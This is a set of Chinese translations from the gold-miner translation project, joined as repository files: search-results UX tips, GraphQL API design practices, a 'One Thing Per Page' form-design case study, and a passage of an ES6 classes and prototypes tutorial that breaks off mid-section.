搜索结果页是一次搜索体验最核心的地方,它可以提升一个网站的转化率也可以毁掉它。通常用户可以基于一两组搜索结果就可以快速判断一个网站是否存在价值。 将准确的结果返回给用户显然非常重要,否则他们将不再相信这个搜索工具。所以你的搜索工具必须以合理的方式确定结果的优先级,并把所有重要的结果放置在第一页。 ### 3. 使用有效的自动提示 ### **无效的自动提示会让搜索体验大打折扣。** 请确保自动提示是有效的。当用户输入文字时,像识别词根、预测文本、搜索建议都是一些对用户很有帮助的功能。这些做法有助于加快搜索进度,并让用户在跳转间依旧保持工作状态。 图片来源: ThinkWithGoogle ### 4. 纠正拼写错误 ### **打字本来就很容易出错。** 如果用户错误的输入了搜索关键词,而你可以检测到这个错误,那么可以针对系统猜测或“更正”后的关键词来显示搜索结果。这样就避免了由于没有返回结果,用户不得不再次输入关键词的尴尬。 不支持搜索重组的苹果商店上没有搜索到结果页面。 Asos 网站在用户打字错误时,很好地显示了一组代替结果来避免激怒用户。它会这样提示用户:“您的初始搜索为 ‘Overcoatt’,我们也为您搜索了‘Overcoats’的相关结果” ### 5. 显示搜索结果的数量 ### 显示相关搜索结果的数量,让与用户能够知道他们大概会花费多长时间来浏览这些搜索结果。 相关结果数量能够让用户更清楚如何进行再次搜索。 ### 6. 保留用户最近的搜索记录 ### 即使用户很熟悉搜索引擎的功能,搜索这件事仍然需要用户从他们的记忆里唤起信息。为了想出一个有意义的关键词,用户需要考虑到他要查找的目标所具有的相关属性,并将它们融合到查询条件中。设计搜索体验时,你应该时刻记住基本的可用性原则: > 尊重用户的努力 你的网站应该 **保存所有最近的站内搜索记录**, 当用户下一次创建搜索的时候把这些记录提供给他们. 保存最近搜索记录的好处是用户再次搜索同样的内容时可以节约他们的时间和精力。 **提示:** 提供的条目不要超过 10 个 (并且不要有滚动条) 这样不会让用户觉得信息过载。 ### 7. 选择合适的页面布局 ### 显示搜索结果的一个挑战是不同的页面内容需要不同的布局来支撑。内容展现最基本的两种布局分别是列表视图和网格视图。一个经验法则: > 列表用于详情展示,网格用于图片展示 不妨一起在产品页面中验证一下这个法则。这时产品的细节特征在就显得尤为重要了。对于类似家用电器这样的产品,诸如型号、评级和尺寸等 **细节** 是用户在 **选择购买过程中** 关注的重要因素,因此列表视图更有意义。 ![](https://cdn-images-1.medium.com/max/800/1*K7ITLIzXP57remQneOi9nw.png) 列表布局更适合细节导向的布局 对于一些 **需要更少的产品细节信息** 的产品,**网格视图** 是一个更好的选择。比如服装这样的产品,用户在挑选产品的过程中对文字描述信息不会太关心,而是依赖于 **产品外观** 做决定。对于这类产品用户更关心产品间的视觉差异,并且更愿意在一个长页面上来回滚动挑选,而不是在一个列表页和产品详情页面里反复切换。 网格布局更适合视觉导向的布局 **提示:** - 允许用户为搜索结果选择“列表视图”或“网格视图”,让用户选择他们自己更期望的方式来浏览他们的查询结果。 允许用户通过一个功能菜单来更改布局 - 设计网格布局的时候,选择一个合适的图片尺寸,既要足够大到清晰识别细节,又要足够小到让用户一次尽量看到更多的条目。 ### 8. 显示搜索进度 ### 理想状况下,搜索结果应该 **立即** 显示,但如果做不到,应该使用进度条来为用户提供系统的反馈。你应该给你的用户一个清晰的指示,让他们知道还要等待多久。 Aviasales 网站提示用户 **搜索需要一些时间** **提示:** 如果搜索过于耗时,你可以使用动画. 好的动画能够分散访客的注意力,让他们忽略漫长的等待。 ### 9. 提供排序和筛选的选项 ### 用户搜索返回的结果和关键词相关度较低或者结果太多的时候,他们往往感觉很迷茫。你应该提供给用户一些与其搜索相关的筛选选项,并且在他们应用筛选选项的时候要支持多选。 筛选选项可以帮助用户减少搜索结果并对其排序,不然会需要大量的(过多的)滚动和分页。 **提示:** - 不要给用户过多的筛选选项这一点很重要。如果你的搜索需要大量的筛选,应该为它们设定默认值。 - 不要在筛选功能中隐藏排序功能,它们是不一样的。 - 当用户限制了搜索范围,在搜索结果页的顶部要明确说明这这个范围。 ### 10. 不要反馈 “没有找到相关结果” ### 把一个没有搜索结果的页面丢给用户会令他很沮丧。如果他们搜索了多次都返回这样的结果那就更过分了。 当它们的搜索没有匹配到结果时 **应该避免让他们陷入死胡同** ,为他们提供有价值的替代品。(例如,网店可以从相似类别的商品中为用户推荐替代商品) 惠普网站的“没有找到相关结果”页就是一个死胡同的例子。它与在无结果页面上显示有价值的替代品的页面形成鲜明对比,例如亚马逊的页面。 ### 结论 ### 搜索引擎是构建一个优秀网站的关键要素。用户在寻找和学习事物时期望一个流畅的体验,而且他们通常基于一两组搜索结果的质量对网站的价值做出非常快速的判断。一个优秀的搜索工具应当能够帮助用户快速而简单地查找他们想要的结果。 谢谢! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/best-practices-in-designing-graphql-apis.md ================================================ > * 原文地址:[Best Practices in Designing GraphQL APIs](https://medium.com/@zavilla90/best-practices-in-designing-graphql-apis-395225bdcd1) > * 原文作者:[Zenia Villa](https://medium.com/@zavilla90?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/best-practices-in-designing-graphql-apis.md](https://github.com/xitu/gold-miner/blob/master/TODO/best-practices-in-designing-graphql-apis.md) > * 译者:[Jiang Haichao](https://github.com/AceLeeWinnie) > * 校对者:[缪宇](https://github.com/goldEli), [moods445](https://github.com/moods445) # GraphQL API 设计最佳实践 以下是由 Lee Byron 提出的 GraphQL API 设计最佳实践, 他是 GraphQL 峰会上 Facebook 的设计技术专家。 #### 重视命名 最常见的情况是,你命名了一个名称,意识到这个命名有问题之后,于是决定重命名。可问题是,图形化 API 中某字段一旦被客户端使用,就不可更改了。所以错误命名的成本可能是高昂的。时刻反问一个重要的问题来提醒自己:“新来的工程师是否能够明白这一命名的含义?”时刻铭记有些工程师会绕过文档,尝试各种他们想当然的字段名称。当查询书名时,通常使用 “title” 字段,这说明定义的名称需要是自文档化的,并且含义要和实际用途保持接近。 #### 前瞻性设计 为了避免未来破坏性的变更,前瞻性设计十分必要。自问一个问题很有帮助:“这个产品或功能的下一个版本可能是什么样的?” 设计 API 时,心中要有下一版本的雏形,然后根据雏形设计 API。设想这个 API 是否能够支持心中理想的未来产品的需要。 #### 从 Graph 角度思考,而不是 endpoint 角度 大多数传统的 API 都是从一些新的产品体验开始的,并且根据这些体验向后设计 API。GraphQL 则不同,它在一个 endpoint 中暴露所有数据。如果你考虑的是 endpoint,你可能会创建多个 object,根据用途单独定义对象,而不是描述建模数据的语义。如果你将这个问题作为 Graph 中的对象,并将数据与你正在构建的功能分离开来,结果就是一个单一的、内聚的 Graph。 #### 描述数据,而不是视图 确保没有将 API 与当前客户端需求紧密联系在一起,比如手机 app。创建的 API 只用于 TV app,而不适用于 web app,这当然不是你想要的。保持关注数据的语义,而不是过多地关注视图。反问自己一个问题:“这个 API 适用于未来客户端吗?” #### GraphQL 是简化的接口 记住,GraphQL 是设计用于当前系统之上简化接口,仍然需要搭建系统。 #### 隐藏实现细节 当设计 API 时,问自己的一个问题,“如果底层实现变更了怎么办?” 诸如数据库从 SQL 迁移到 Mongo 之类的。变更之后这个 API 是否仍旧适用?最佳实践允许我们快速创建原型,轻松扩展,不需要中断客户端就能部署新的服务。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/better-form-design-one-thing-per-page.md ================================================ > * 原文地址:[Better Form Design: One Thing Per Page (Case Study)](https://www.smashingmagazine.com/2017/05/better-form-design-one-thing-per-page/) > * 原文作者:[Adam Silver](https://www.smashingmagazine.com/author/adamsilver/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译文地址:[github.com/xitu/gold-miner/blob/master/TODO/better-form-design-one-thing-per-page.md](https://github.com/xitu/gold-miner/blob/master/TODO/better-form-design-one-thing-per-page.md) > * 译者:[horizon13th](https://github.com/horizon13th) > * 校对者:[LeviDing](https://github.com/leviding), [laiyun90](https://github.com/laiyun90) # 更好的表单设计: 每一页,一件事(实例研究) 2008 年,我在 Boots.com 工作时,团队提出需求,要设计当时最流行的单页表单进行付款操作,主要技术有折叠选项卡,AJAX,客户端验证。 表单提交的每一步(快递地址,快递方式,付款方式)都是一个折叠模块。每一个模块通过 AJAX 提交,提交成功后当前模块折叠,下一步所在的折叠模块滑动展开。 如下图所示: [![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots1-780w-opt-1.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots1-large-opt-1.png) Boots 网站的单页付款图,每一步都是一个折叠模块。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots1-large-opt-1.png)) 用户在提交订单时备受折磨,因为一旦填错内容就很难修改,用户需要上下来来回回滑动屏幕。折叠面板的设计简直太让人不爽了。果不其然,客户提出需求让我们修改。 我们重新设计了页面,将原来的每个折叠模块变成了独立的页面,删掉了折叠面板效果,也不再使用 AJAX,唯独保留了客户端验证,以省去不必要的服务器请求。 更改后的设计如下: [![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots2-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots2-large-opt.png) Boots 网站的多页付款图,每一步都是一个单独页面。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots2-large-opt.png)) 这一版本变得好多了。我记不清确切的支持数据,但我记得客户当时很满意。 六年过去了(2014),当我就职于 Just Eat,同样的事情在不同地点又发生了一次。我们又重新设计了单页提交订单页面,将单页的多个模块修改成独立的页面。这次,我记录下了数据。 结果显示,**每年新增订单数量有两百万**。这里要强调一下,这个数字仅仅是订单量,还不是利润。该数据是版本更新一周内的订单统计结果,由付款时订单增加的百分比而得来。我们这个百分比转化成了订单数量,再乘以52周。 下图是一些移动端设计: [![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/justeat-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/justeat-large-opt.png) Just Eat 的付款被分成了多个页面。我们还提出了一个设计方案使付款更简便:用户可以选择“现金付款”或者“银行卡付款”,然后跳转到相关页面去填写信息。很遗憾,我们从未对此进行测试。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/justeat-large-opt.png)) 几年过去了(2016),GDS 公司的 Robin Whittleton 告诉我说,把每一件事情放在属于自己一个页面里,这本身是一个设计模式,被称为“每一页,一件事”英文为“One Thing Per Page”。除了数据支持,这个设计模式背后还有可靠的理论依据,我们马上会讲到。 不过在这之前,我们先来看看这个设计模式到底是什么样的。 ### “每一页,一件事”到底意味着什么? “每一页,一件事”,指的并不是在一个页面上只摆放一个元素或者组件(当然了,这样也可以)。不过至少,你也得给加个页眉页脚吧。 同理,它也不是在单页上放置单个表格字段。(尽管,你非要这样做也不是不行) 这种模式是将复杂繁琐的步骤分割成很多个更小的部分,将这些更小的部分格子分布在只属于它们自己的屏幕。 例如,在设计快递地址表单时,我们将这个功能单独放置一页,而不是将它和快递方式,付款方式几个功能挤在同一个页面。 一个快递地址表单有多个字段(城市,街道,邮政编码等),然而终究这些字段共同回答了同一个具体问题。因而在同一页面上解决这个问题是合理的。 下面让我们考虑一下,这种模式究竟为什么这么好。 ### 为什么这种模式这么好嘞? 这个模式往往产出奇妙美味的果子(其实是订单啦,原谅我的比喻)能够理解其背后的运作原理,那就好办啦。 #### 1. 减少认知负荷 正如 Ryan Holiday 在 *The Obstacle Is The Way* (最近在美国很火的鸡汤畅销书--译者注)里所说的那样: > 还记得你第一次见到复杂的代数方程么?有那么一大堆混淆的符号和未知数。但是当你静下心分解方程式,最终得到的,那就是答案。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/algebra-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/algebra-large-opt.png) 解决方程式的简单办法就是,分步骤分解等式。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/algebra-large-opt.png)) 同样的道理可以应用到用户试图填好一份表单,或者任何其它事情。如果屏幕上内容较少,且用户只需做出一种选择,阻力将降到最小。因而用户就会专注停留在任务本身。 #### 2. 简化错误处理 当用户填写一个较小的表格时,一旦犯错能够早发现早处理。如果只有一件事,修复错误会变得很容易,这降低了用户放弃填写表格的几率。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/errors-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/errors-large-opt.png) 即使有好几个错误发生,Kidly 的地址表单修改起来仍很简便。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/errors-large-opt.png)) #### 3. 加快页面加载 当页面设计上遵从“小”的原则,页面加载速度会更快。快速加载的页面降低了用户等不及而离开的风险,在服务上得到了用户的信任。 #### 4. 简化行为追踪 页面内容越多,越难分析用户为什么会离开页面。这里要弄清楚:用户行为分析并不应该作为页面设计的主导,但它作为副产品还是不错的。 #### 5. 简化进度查看和返回上一步操作 如果用户频繁提交信息,我们可以将信息以更细化的方式保存起来。比如当有用户在中途放弃订单,我们可以发邮件以推动他们完成订单。 #### 6. 减少滑动操作 不要搞错了噢,[滑动操作也没什么大不了](http://uxmyths.com/post/654047943/myth-people-dont-scroll) —— 用户期望网页以滑动的方式运作。但是一旦页面变小了,用户不必再滑动屏幕。而且推广召集活动一般都在折叠面板最顶端,强化了需求,也简化了操作流程。 #### 7. 分支操作更便捷 有时候我们我们会根据用户上一步的操作而决定下一步进入不同的分支操作。举个简单的例子,假设我们有两个下拉选择菜单。用户在第二个菜单看到的选项取决于他在第一个菜单的选择。 每一页只做一件事使其更简单:当用户在第一个下拉菜单选好并点击提交,服务器响应并返回给用户第二个菜单的内容,简单易行。 我们可以使用 JavaScript,但其实构建界面,并保证用户界面可以访问比想象的要复杂。倘若 [JavaScript 出错](https://kryogenix.org/code/browser/everyonehasjs.html),用户可能会有很不好的用户体验。而且加载页面所有可能的选项也是一笔重量级开销。 我们可以使用 AJAX 代替,但这其实并没有把我们从渲染新页面(模块)中解放出来。更严峻的是,AJAX 也没有减少服务器端的传输开销。 这还不是全部,我们需要发送更多的代码以发送 AJAX 请求,处理错误并显示加载指示器。再强调一下,这些都会使网页加载得更缓慢。 自定义加载进度条也很棘手,和浏览器原生实现的进度条不同,它往往是不准确的。而且每个网站都有自己特定的展现方式,用户对它们并不熟悉。然而,用户的熟悉程度是一个用户体验的公约,在非必需的情况下我们最好不要破坏它。 另外,在单一页面上动态更新两个甚至多个字段,这需要用户**按先后顺序**交互。虽然我们能控制显示隐藏输入框,但这还是过于复杂。 最后,用户可能会更改他所填写的内容。内容更改可能需要后续面板隐藏,或者后续面板内容也更改。这些也很令人困惑。 #### 8. 阅读模式友好 如果页面上内容少,阅读模式下用户不必再迷失于大量的无关信息。用户可以迅速定位标题以与表单更快速地交互。 #### 9. 简化细节修正 想象下某个用户正在确定订单,突然他在付款信息看到一个严重的错误。返回到上一页远比返回一页中的某一部分简单得多。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/kidly-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/kidly-large-opt.png) 点击“编辑”按钮把用户带回到付款方式页面,页面上有专有标题和相关表单字段。 ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/kidly-large-opt.png)) 浏览页面中途有其他内容,这是很迷惑的事情。记住噢,点击链接去完成某些操作,这种在页面上做其他事情的交互将会让用户分心。 而且这里面有很多潜在工作。比如说,如果你想在同一个页面上显示隐藏模块,需要额外逻辑来处理。 每一页只做一件事的话,这些问题就会烟消云散啦。 #### 10. 用户可以控制其数据授权 用户不可能只让浏览器加载一半页面,要么全部,要么什么都没有。如果用户想要更多的信息,它可以点击链接,拥有**选择**的权利。只要每一步能让他们更接近目标,[用户一点都不介意多点一下鼠标](http://uxmyths.com/post/654026581/myth-all-pages-should-be-accessible-in-3-clicks)。 #### 11. 解决性能问题 如果所有内容融合成一个庞大的怪物 —— 最极端的例子就是单页应用 —— 那性能问题是很难解决的。到底是运行时间问题呢?还是内存泄漏?或者 AJAX 调用? 我们很容易想到 AJAX 改善了用户体验,但是代码量的增加应该不会加快用户感受吧。 客户端的复杂性掩盖了服务器端的根本问题。如果一页只做一件事,性能出问题的可能性很小。一旦有了问题,也很容易查找出来。 #### 12. 增加用户感知进度 由于用户不断的移动到下一步,这种进展感给用户积极的感觉,好像在填写表格一样。 #### 13. 减少信息丢失风险 一个长表格需要更多填写的时间。如果花费时间太久,页面可能超时导致信息丢失,给用户带来巨大的挫败感。 又或者,电脑死机,像 *我是 Daniel Blake* 的主角 Daniel 遇到的情况那样。他健康状况日益恶化,从没有使用过电脑,经常遭受电脑死机数据丢失的痛苦,最后只得放弃。 #### 14. 提升老用户体验 如果我们能保存用户的快递地址和付款信息,可以跳过这些页面,引导客户直接到“检查无误确认提交”的页面。这减少了用户阻力,增加用户转化。 #### 15. 补充移动优先设计 移动优先设计激励我们设计出小屏幕中至关重要的元素。一页只做一件事就遵循了这样的方法。 #### 16. 设计流程更简单 当我们设计一个复杂的工作流时,将其分解成原子性的单个页面多个模块,有助于问题的理解。 切换屏幕改变顺序很容易,分析问题的范围也变得容易,正如用户一次只做一件事情那样简单。 这种用户受益模式的很好的副产品,这样还减少了设计精力。 ### 这种模式适合所有情景么? 并不是。Caroline Jarrett 在 2015 年第一次写过一篇同样标题的文章[每一页,一件事](https://designnotes.blog.gov.uk/2015/07/03/one-thing-per-page/)。她讲到用户研究会很快显示“一些问题最好归类在一起在长页面中显示”。 然而,相反的是,她也解释说自然地“走到一起”的问题们往往是从设计师的角度来看的,从用户角度来看,这些问题并不需要放在一起。 她举了一个启发性的例子。当为 GOV.UK 做认证时,他们测试将“创建用户名”放在一页,而将“创建密码”放在下一页。 像大多数设计师一样,Caroline 认为将上述两个表单字段放在单独页面上是矫枉过正的。但现实是,用户并没有对此感到太困扰。 关键在于,至少开始于“每一页,一件事”,随着用户研究,找出适合的字段来进行合并分组以优化用户体验。 这并不意味着,最终你总会以把所有页面都合并在一起。在我经验看来,最好的结果往往是将事情拆分。当然了,如果你有更好的经验,我也愿意倾听。 ### 总结 这种低调不起眼的 UX 模式也可以设计地具备灵活性,高性能,包容性。它迎合网络大众,使得所有用户群体都能从容应对。 在同一页面上摆放太多内容(甚至全部内容)可能会带来简洁的错觉。但就像代数方程那样,复杂的代数方程如果不分解开来,实际上更难解答。 如果我们把一项任务看作是用户想要完成的交易,将这个流程分步骤处理是很合理的。就好像我们使用网络传输的形式作为逐渐展现页面的形式,这种“One Thing Per Page”背后的隐喻给用户提供了潜意识里的前进感。 至今我还未见到过比“每一页,一件事”更好的设计模式。这就是这个时代:简单,就是这么简单。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/better-javascript-with-es6-pt-ii-a-deep-dive-into-classes.md ================================================ >* 原文链接 : [Better JavaScript with ES6, Pt. II: A Deep Dive into Classes](https://scotch.io/tutorials/better-javascript-with-es6-pt-ii-a-deep-dive-into-classes) * 原文作者 : [Peleke](https://github.com/Peleke) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Malcolm](https://github.com/malcolmyu) * 校对者: [嘤嘤嘤](https://github.com/xingwanying), [Jack-Kingdom](https://github.com/Jack-Kingdom) # 使用 ES6 编写更好的 JavaScript Part II:深入探究 [类] ## 辞旧迎新 在本文的开始,我们要说明一件事: > 从本质上说,ES6 的 classes 主要是给创建老式构造函数提供了一种更加方便的语法,并不是什么新魔法 —— Axel Rauschmayer,Exploring ES6 作者 从功能上来讲,`class` 声明就是一个语法糖,它只是比我们之前一直使用的基于原型的行为委托功能更强大一点。本文将从新语法与原型的关系入手,仔细研究 ES2015 的 `class` 关键字。文中将提及以下内容: * 定义与实例化类; * 使用 `extends` 创建子类; * 子类中 `super` 语句的调用; * 以及重要的标记方法(symbol method)的例子。 在此过程中,我们将特别注意 `class` 声明语法从本质上是如何映射到基于原型代码的。 让我们从头开始说起。 ## 退一步说:Classes **不是**什么 JavaScript 的『类』与 Java、Python 或者其他你可能用过的面向对象语言中的类不同。其实后者可能称作面向『类』的语言更为准确一些。 在传统的面向类的语言中,我们创建的**类**是**对象**的模板。需要一个新对象时,我们**实例化**这个类,这一步操作告诉语言引擎将这个类的方法和属性**复制**到一个新实体上,这个实体称作**实例**。**实例**是我们自己的对象,且在实例化之后与父类毫无内在联系。 而 JavaScript **没有**这样的复制机制。在 JavaScript 中『实例化』一个类创建了一个新对象,但这个新对象却**不**独立于它的父类。 正相反,它创建了一个与**原型**相连接的对象。即使是在**实例化之后**,对于原型的修改也会传递到实例化的新对象去。 原型本身就是一个无比强大的设计模式。有许多使用了原型的技术模仿了传统类的机制,`class` 便为这些技术提供了简洁的语法。 总而言之: 1. JavaScript **不存在** Java 和其他面向对象语言中的类概念; 2. JavaScript 的 `class` 很大程度上只是原型继承的语法糖,与传统的类继承有**很大的不同**。 搞清楚这些之后,让我们先看一下 `class`。 ## 类基础:声明与表达式 我们使用 `class` 关键字创建类,关键字之后是变量标识符,最后是一个称作**类主体**的代码块。这种写法称作**类的声明**。没有使用 `extends` 关键字的类声明被称作**基类**: "use strict"; // Food 是一个基类 class Food { constructor (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } toString () { return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F` } print () { console.log( this.toString() ); } } const chicken_breast = new Food('Chicken Breast', 26, 0, 3.5); chicken_breast.print(); // 'Chicken Breast | 26g P :: 0g C :: 3.5g F' console.log(chicken_breast.protein); // 26 (LINE A) 需要注意到以下事情: * 类**只能**包含方法定义,**不能**有数据属性; * 定义方法时,可以使用[简写方法定义](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions); * 与创建对象不同,我们不能在类主体中使用逗号分隔方法定义; * 我们**可以**在实例化对象上直接引用类的属性(如 LINE A)。 类有一个独有的特性,就是 **contructor** 构造方法。在构造方法中我们可以初始化对象的属性。 构造方法的定义并**不是必须**的。如果不写构造方法,引擎会为我们插入一个空的构造方法: "use strict"; class NoConstructor { /* JavaScript 会插入这样的代码: constructor () { } */ } const nemo = new NoConstructor(); // 能工作,但没啥意思 将一个类赋值给一个变量的形式叫**类表达式**,这种写法可以替代上面的语法形式: "use strict"; // 这是一个匿名类表达式,在类主体中我们不能通过名称引用它 const Food = class { // 和上面一样的类定义…… } // 这是一个命名类表达式,在类主体中我们可以通过名称引用它 const Food = class FoodClass { // 和上面一样的类定义…… // 添加一个新方法,证明我们可以通过内部名称引用 FoodClass…… printMacronutrients () { console.log(`${FoodClass.name} | ${FoodClass.protein} g P :: ${FoodClass.carbs} g C :: ${FoodClass.fat} g F`) } } const chicken_breast = new Food('Chicken Breast', 26, 0, 3.5); chicken_breast.printMacronutrients(); // 'Chicken Breast | 26g P :: 0g C :: 3.5g F' // 但是不能在外部引用 try { console.log(FoodClass.protein); // 引用错误 } catch (err) { // pass } 这一行为与[匿名函数与命名函数表达式](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function)很类似。 ## 使用 `extends` 创建子类以及使用 super 调用 使用 `extends` 创建的类被称作**子类**,或**派生类**。这一用法简单明了,我们直接在上面的例子中构建: "use strict"; // FatFreeFood 是一个派生类 class FatFreeFood extends Food { constructor (name, protein, carbs) { super(name, protein, carbs, 0); } print () { super.print(); console.log(`Would you look at that -- ${this.name} has no fat!`); } } const fat_free_yogurt = new FatFreeFood('Greek Yogurt', 16, 12); fat_free_yogurt.print(); // 'Greek Yogurt | 26g P :: 16g C :: 0g F / Would you look at that -- Greek Yogurt has no fat!' 派生类拥有我们上文讨论的一切有关基类的特性,另外还有如下几点新特点: * 子类使用 `class` 关键字声明,之后紧跟一个标识符,然后使用 `extend` 关键字,最后写一个**任意表达式**。这个表达式通常来讲就是个标识符,但[理论上也可以是函数](https://gist.github.com/sebmarkbage/fac0830dbb13ccbff596)。 * 如果你的派生类需要引用它的父类,可以使用 `super` 关键字。 * 一个派生类不能有一个空的构造函数。即使这个构造函数就是调用了一下 `super()`,你也得把它显式的写出来。但派生类却可以**没有**构造函数。 * 在派生类的构造函数中,**必须**先调用 `super`,才能使用 `this` 关键字(译者注:仅在构造函数中是这样,在其他方法中可以直接使用 `this`)。 在 JavaScript 中仅有两个 `super` 关键字的使用场景: 1. **在子类构造函数中调用**。如果初始化派生类是需要使用父类的构造函数,我们可以在子类的构造函数中调用 `super(parentConstructorParams)`,传递任意需要的参数。 2. **引用父类的方法**。在常规方法定义中,派生类可以使用点运算符来引用父类的方法:`super.methodName`。 我们的 `FatFreeFood` 演示了这两种情况: 1. 在构造函数中,我们简单的调用了 `super`,并将脂肪的量传入为 `0`。 2. 在我们的 `print` 方法中,我们先调用了 `super.print`,之后才添加了其他的逻辑。 不管你信不信,~~我反正是信了~~以上说的已涵盖了有关 `class` 的基础语法,这就是你开始实验需要掌握的全部内容。 ## 深入学习原型 现在我们开始关注 `class` 是怎么映射到 JavaScript 内部的原型机制的。我们会关注以下几点: * 使用构造调用创建对象; * 原型连接的本质; * 属性和方法委托; * 使用原型模拟类。 ### 使用构造调用创建对象 构造函数不是什么新鲜玩意儿。使用 `new` 关键字调用**任意**函数会使其返回一个对象 —— 这一步称作创建了一个**构造调用**,这种函数通常被称作**构造器**: "use strict"; function Food (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } // 使用 'new' 关键字调用 Food 方法,就是构造调用,该操作会返回一个对象 const chicken_breast = new Food('Chicken Breast', 26, 0, 3.5); console.log(chicken_breast.protein) // 26 // 不用 'new' 调用 Food 方法,会返回 'undefined' const fish = Food('Halibut', 26, 0, 2); console.log(fish); // 'undefined' 当我们使用 `new` 关键字调用函数时,JS 内部执行了下面四个步骤: 1. 创建一个新对象(这里称它为 **O**); 2. 给 **O** 赋予一个连接到其他对象的链接,称为**原型**; 3. 将函数的 `this` 引用指向 **O**; 4. 函数隐式返回 **O**。 在第三步和第四步之间,引擎会执行你函数中的具体逻辑。 知道了这一点,我们就可以重写 `Food` 方法,使之不用 `new` 关键字也能工作: "use strict"; // 演示示例:消除对 'new' 关键字的依赖 function Food (name, protein, carbs, fat) { // 第一步:创建新对象 const obj = { }; // 第二步:链接原型——我们在下文会更加具体地探究原型的概念 Object.setPrototypeOf(obj, Food.prototype); // 第三步:设置 'this' 指向我们的新对象 // 尽然我们不能再运行的执行上下文中重置 `this` // 我们在使用 'obj' 取代 'this' 来模拟第三步 obj.name = name; obj.protein = protein; obj.carbs = carbs; obj.fat = fat; // 第四步:返回新创建的对象 return obj; } const fish = Food('Halibut', 26, 0, 2); console.log(fish.protein); // 26 四步中的三步都是简单明了的。创建一个对象、赋值属性、然后写一个 `return` 声明,这些操作对大多数开发者来说没有理解上的问题——然而这就是难倒众人的黑魔法原型。 ### 直观理解原型链 在通常情况下,JavaScript 中的包括函数在内的所有对象都会链接到另一个对象上,这就是**原型**。 如果我们访问一个对象本身没有的属性,JavaScript 就会在对象的原型上检查该属性。换句话说,如果你对一个对象请求它没有的属性,它会对你说:『这个我不知道,问我的原型吧』。 在另一个对象上查找不存在属性的过程称作**委托**。 "use strict"; // joe 没有 toString 方法…… const joe = { name : 'Joe' }, sara = { name : 'Sara' }; Object.hasOwnProperty(joe, toString); // false Object.hasOwnProperty(sara, toString); // false // ……但我们还是可以调用它! joe.toString(); // '[object Object]',而不是引用错误! sara.toString(); // '[object Object]',而不是引用错误! 尽管我们的 `toString` 的输出完全没啥用,但请注意:这段代码没有引起任何的 `ReferenceError`!这是因为尽管 `joe` 和 `sara` 没有 `toString` 的属性,**但他们的原型有啊**。 当我们寻找 `sara.toString()` 方法时,`sara` 说:『我没有 `toString` 属性,找我的原型吧』。正如上文所说,JavaScript 会亲切的询问 `Object.prototype` 是否含有 `toString` 属性。由于原型上有这一属性,JS 就会把 `Object.prototype` 上的 `toString` 返回给我们程序并执行。 `sara` 本身没有属性没关系——**我们会把查找操作委托到原型上**。 